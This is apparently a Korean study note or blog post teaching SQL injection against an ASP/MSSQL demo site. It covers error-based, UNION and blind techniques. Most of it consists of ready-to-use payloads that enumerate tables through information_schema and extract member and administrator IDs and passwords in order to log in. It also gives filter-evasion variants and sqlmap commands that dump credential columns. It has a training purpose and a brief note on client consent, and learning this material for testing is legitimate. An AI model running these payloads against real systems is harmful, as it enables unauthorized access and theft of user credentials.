[정보보안] SQL Injection 데이터베이스 취약점
SQL Injection Vulnerabilities
절대! 악의적인 용도로 사용하시면 안됩니다.
Error Based Injection
1. 취약점
2. 데이터베이스의 이름
1) 'and db_name() > 1 --
3. Table명 & Column명 알아내기
1) having
group by 하고 같이 쓰여야 함
group by 이용해서 동일한 데이터를 집계한 후 다시 또다른 조건을 비교시킬 때 사용함
group by 에는 반드시 컬럼명을 써줘야 함
e.g) 'having 1=1 --
2) group by
e.g) 'group by(num) --
e.g) 'group by num, user_id --
Table: members
Column: num, user_id, passwd
아이디를 조회시킨 후 에러페이지 유발 시키기
'or 1 in(SELECT user_id FROM members) --
SELECT * FROM Members WHERE user_id = ''or 1 in(SELECT user_id FROM members) --
'or 1 in(SELECT user_id FROM members where user_id not in ('ID')) --
'or 1 in(SELECT user_id FROM members where user_id not in ('ID','ID2')) --
'or 1 in(SELECT user_id FROM members where user_id not in ('ID','ID2','ID3')) --
UNION Injection
회원의 아이디와 패스워드를 출력 시키고 로그인
1. 'Address_table' 라는 주소록 테이블에 어떠한 종류의 다른 테이블을 접합 시킬 것인가?
1) 회원정보 테이블의 아이디 컬럼 그리고 패스워드 컬럼을 이용한 UNION 구문 만들기
2) 모든 사용자 테이블 명 및 컬럼명을 보유하고 있는 시스템 테이블에 대한 접근
- information_schema.tables: 사용자 테이블 이름 보유
- information_schema.columns: 사용자 테이블 컬럼 이름 보유
* 사용자 테이블과 시스템 테이블의 차이
=> 사용자 테이블을 DBA 직접 만드는 테이블이므로 이름이 다를 수 있다.
=> 시스템 테이블은 DB구축 시 자동으로 만들어지는 테이블이므로 인터넷에 노출되어 있다.
2. 'Address_table' 라는 원본 테이블에 information_schema.tables 테이블 정보를 접합시켜 테이블명 노출
'union select '1','2','3','4', table_name from information_schema.tables --
'union select '1','2','3', table_name, '5' from information_schema.tables --
3. 'Address_table' 라는 원본 테이블에 information_schema.columns 테이블 정보를 접합시켜 컬러명 노출
'union select '1','2','3','4', column_name from information_schema.columns --
hint) where table_name을 이용하면 회원정보 테이블의 컬럼값만 노출 시킬 수 있음
'union select '1','2','3','4', column_name from information_schema.columns where table_name='members' --
4. 'post2' 라는 원본 테이블에 회원의 아이디 그리고 패스워드를 접합시켜서 노출 시키고 로그인!
'union select '1','2','3', user_id, passwd from members --
Q) 관리자 아이디 및 패스워드를 접합시켜서 노출 시킨 후 관리지 권한으로 로그인 해보기!
'union select '1','2','3','4', table_name from information_schema.tables --
'union select '1','2','3','4', column_name from information_schema.columns where table_name='admin_tb' --
'union select '1','2','3', adminid, adminpwd from admin_tb --
*관리자 페이지 찾기
*구글링을 이용한 관리자 URL 추측 / Dirbuster 및 httrack 도구를 활용
Q) 회원의 아이디 및 패스워드를 노출시키는 UNION구문을 아래 URL에서 다시 출력해보세요.
UNION Injection 구문: 'union select '1','2','3', user_id, passwd from members --
노출시킬 대상 URL: http://ID/demo/login/index.asp
Hint) 클라이언트 측 언어 조작을 통한 우회 시도
Q) 회원의 아이디 및 패스워드를 노출시키는 UNION구문을 아래 URL에서 다시 출력해보세요.
UNION Injection 구문: 'union select '1','2','3', user_id, passwd from members --
노출시킬 대상 URL: http://ID/demo/login/index.asp
Hint) 주석
'union/**/select/**/'1','2','3',/**/user_id,/**/passwd/**/from/**/members/**/--
Q) 회원의 아이디 및 패스워드를 노출시키는 UNION구문을 아래 URL에서 다시 출력해보세요.
UNION Injection 구문: 'union select '1','2','3', user_id, passwd from members --
노출시킬 대상 URL: http://ID/demoshop/login/findNewaddr4.asp
Hint) URL 인코딩(Google: w3school urlencode 페이지)
블라인드 SQL Injection
1. 'and 1=1 -- (참)
2. 'and 1=2 -- (거짓)
3. 'and 'a' = substring('admin', 1, 1) -- (참)
4. 'and 'dm' = substring('admin', 2, 2) -- (참)
Q) 사용자 테이블 중 첫번째 테이블의 이름을 알아내시오
SELECT top 1 table_name FROM information_schema.tables where order by table_name asc
SELECT top 1 table_name FROM information_schema.tables
'and 'a'=substring((SELECT top 1 table_name FROM information_schema.tables order by table_name asc), 1, 1) --
'and 'b'=substring((SELECT top 1 table_name FROM information_schema.tables order by table_name asc), 2, 1) --
'and 'c'=substring((SELECT top 1 table_name FROM information_schema.tables order by table_name asc), 3, 1) --
top 1 은 첫번째 테이블
asc 오름차순
desc 내림차순
SQLMAP 도구를 이용한 DB 정보 노출
1. 모의침투 테스트시 Expolit 도구 사용 주의
1) 고객사 협의하에 진행
2) 고객사 협의 후 설정 및 데이터베이스 백업 후 진행
2. sqlmap을 활용한 DB 정보 노출해보기
1) 데이터베이스의 이름 알아내기
2) 지정한 데이터베이스의 테이블이름 알아내기
3) 지정한 DB와 Table의 Column 이름 알아내기
4) 지정한 DB와 Table과 Column의 레코드 값 알아내기
3. 회원의 아이디 및 패스워드 노출
1) 데이터베이스 이름 알아내기
sqlmap -u "http://ID/demo/index.asp" --data "page=1&v_num=265" -p v_num --level=3 --dbs
available databases [7]:
[*] master
[*] model
[*] msdb
[*] mall
[*] mall2
[*] pubs
[*] tempdb
Q) sqlmap 옵션 사용해서 회원 아이디 패스워드 출력해보기
sqlmap -u "http://ID/demo/index.asp" --data "page=1&v_num=265" -p v_num --level=3 -D mall --tables
sqlmap -u "http://ID/demo/index.asp" --data "page=1&v_num=265" -p v_num --level=3 -D mall -T members --columns
sqlmap -u "http://ID/demo/index.asp" --data "page=1&v_num=265" -p v_num --level=3 -D oyesmall -T members -C "user_id,passwd" --dump